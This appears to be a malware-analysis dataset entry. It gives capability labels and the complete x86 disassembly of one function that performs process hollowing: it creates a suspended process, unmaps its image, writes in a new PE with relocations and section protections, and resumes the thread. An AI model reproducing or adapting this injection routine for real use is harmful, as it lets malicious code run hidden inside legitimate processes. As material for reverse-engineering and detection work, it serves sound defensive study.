Function at 0x405420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x94], 0x44
push eax
lea eax, [ebp - 0x94]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push dword [ebp + 8]
movups xmmword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x90], xmm0
movlpd qword [ebp - 0x88], xmm0
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4058e7
mov esi, dword [ebp + 0x10]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x4058e7
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00415600
mov edi, dword [ebx + 0x3c]
add edi, ebx
push 0x2c8
push 0
mov dword [ebp - 8], edi
mov eax, dword [edi + 0x34]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x35c]
push eax
call fcn.00415d60
add esp, 0x18
mov dword [ebp - 0x360], 0x10002
lea eax, [ebp - 0x360]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4058e7
mov ebx, dword [ebp - 0x2bc]
lea eax, [ebp - 0x50]
push eax
push 4
lea eax, [ebp - 0x38]
add ebx, 8
push eax
push ebx
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4058e7
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
cmp esi, eax
jne 0x40555f
push 0x4336c0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push dword [ebp - 0x30]
call eax
add esp, 8
test eax, eax
jne 0x4058e7
mov eax, dword [ebp - 0x14]
push 0x40
push 0x3000
push dword [edi + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
push dword [ebp - 0x30]
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x4055ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x4058e7
mov eax, dword [ebp - 8]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ebp - 0x30]
call edi
mov dword [ebp - 4], eax
test eax, eax
je 0x4058e7
cmp esi, eax
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
je 0x4055ce
lea eax, [ebp - 0x34]
push eax
push 4
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp - 0x30]
call esi
test eax, eax
je 0x4058e7
mov ebx, dword [ebp - 8]
mov eax, 2
mov word [ebx + 0x5c], ax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x14]
je 0x405757
test byte [ebx + 0x16], 1
jne 0x4058e7
movzx eax, word [ebx + 0x14]
xor edx, edx
mov edi, dword [ebx + 0xa0]
mov dword [ebx + 0x34], ecx
lea ecx, [ebx + 0x18]
add ecx, eax
xor ebx, ebx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
movzx eax, word [eax + 6]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40564a
add ecx, 8
nop word [eax + eax]
mov esi, dword [ecx + 4]
cmp edi, esi
jb 0x405632
mov eax, dword [ecx]
add eax, esi
cmp edi, eax
jb 0x40563c
mov eax, dword [ebp - 0x18]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x405620
jmp 0x40564a
mov ebx, dword [ebp - 0x10]
lea eax, [edx + edx*4]
mov ebx, dword [ebx + eax*8 + 0x14]
sub ebx, esi
add ebx, edi
mov edi, dword [ebp - 0xc]
xor esi, esi
mov dword [ebp - 0x18], esi
lea edx, [ebx + edi]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebx + 0xa4]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x405807
nop dword [eax]
mov eax, dword [esi + edx + 4]
lea ecx, [eax - 8]
shr ecx, 1
mov dword [ebp - 0x40], ecx
lea ecx, [edx + 8]
lea ecx, [ecx + esi]
mov edx, 0
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], edx
je 0x40573d
movzx ecx, word [ecx + edx*2]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x4056b1
cmp eax, 0xa
jne 0x405711
mov eax, dword [ebp - 0x10]
mov edi, ecx
movzx ecx, word [ebx + 0x14]
add ecx, 0x18
add ecx, ebx
movzx ebx, word [ebx + 6]
add edi, dword [esi + eax]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], eax
test ebx, ebx
je 0x4056f4
lea eax, [ecx + 8]
mov edx, dword [eax + 4]
cmp edi, edx
jb 0x4056e6
mov ecx, dword [eax]
add ecx, edx
cmp edi, ecx
jb 0x40572a
inc esi
add eax, 0x28
cmp esi, ebx
jb 0x4056d7
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
sub dword [eax + ebx], ecx
mov ecx, dword [eax + ebx]
mov eax, dword [ebp - 4]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + ebx], eax
mov ebx, dword [ebp - 8]
mov ecx, dword [ebp - 0x44]
inc edx
mov dword [ebp - 0x20], edx
cmp edx, dword [ebp - 0x40]
jb 0x405693
mov edx, dword [ebp - 0x10]
mov eax, dword [esi + edx + 4]
jmp 0x405740
mov ecx, dword [ebp - 0x3c]
lea eax, [esi + esi*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, edx
add eax, edi
mov dword [ebp - 0x1c], eax
jmp 0x4056f1
mov edx, dword [ebp - 0x10]
add esi, eax
mov dword [ebp - 0x18], esi
cmp esi, dword [ebp - 0x34]
jb 0x405670
mov ecx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x28]
add eax, ecx
mov dword [ebp - 0x2b0], eax
lea eax, [ebp - 0x360]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4058e7
lea eax, [ebp - 0x48]
push eax
push dword [ebx + 0x54]
push edi
push dword [ebp - 4]
push dword [ebp - 0x30]
call esi
test eax, eax
je 0x4058e7
lea eax, [ebp - 0x4c]
push eax
push 2
push dword [ebx + 0x54]
push dword [ebp - 4]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4058e7
mov eax, dword [ebp - 8]
xor ecx, ecx
mov esi, dword [edi + 0x3c]
xor ebx, ebx
add esi, 0x104
cmp cx, word [eax + 6]
jae 0x4058cd
add esi, edi
nop
lea eax, [ebp - 0x48]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
add eax, edi
push eax
mov eax, dword [esi]
add eax, dword [ebp - 4]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4058e7
mov ecx, dword [ebp - 8]
mov edi, dword [esi]
movzx eax, word [ecx + 6]
dec eax
cmp ebx, eax
jne 0x405815
mov edx, dword [ecx + 0x50]
jmp 0x405818
mov ecx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x40575a
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x18]
sub edx, edi
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x405832
mov eax, 0x40
jmp 0x40589e
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x405847
mov eax, 0x20
jmp 0x40589e
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x40585c
mov eax, 0x80
jmp 0x40589e
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x405871
mov eax, 4
jmp 0x40589e
test ecx, 0x20000000
je 0x405880
mov eax, 0x10
jmp 0x40589e
test ecx, 0x40000000
je 0x40588f
mov eax, 2
jmp 0x40589e
test ecx, ecx
mov eax, 1
mov ecx, 8
cmovs eax, ecx
lea ecx, [ebp - 0x4c]
push ecx
push eax
mov eax, dword [ebp - 4]
push edx
add eax, edi
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4058e7
mov eax, dword [ebp - 8]
inc ebx
mov edi, dword [ebp - 0xc]
add esi, 0x28
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x4057d0
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x4058e7
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret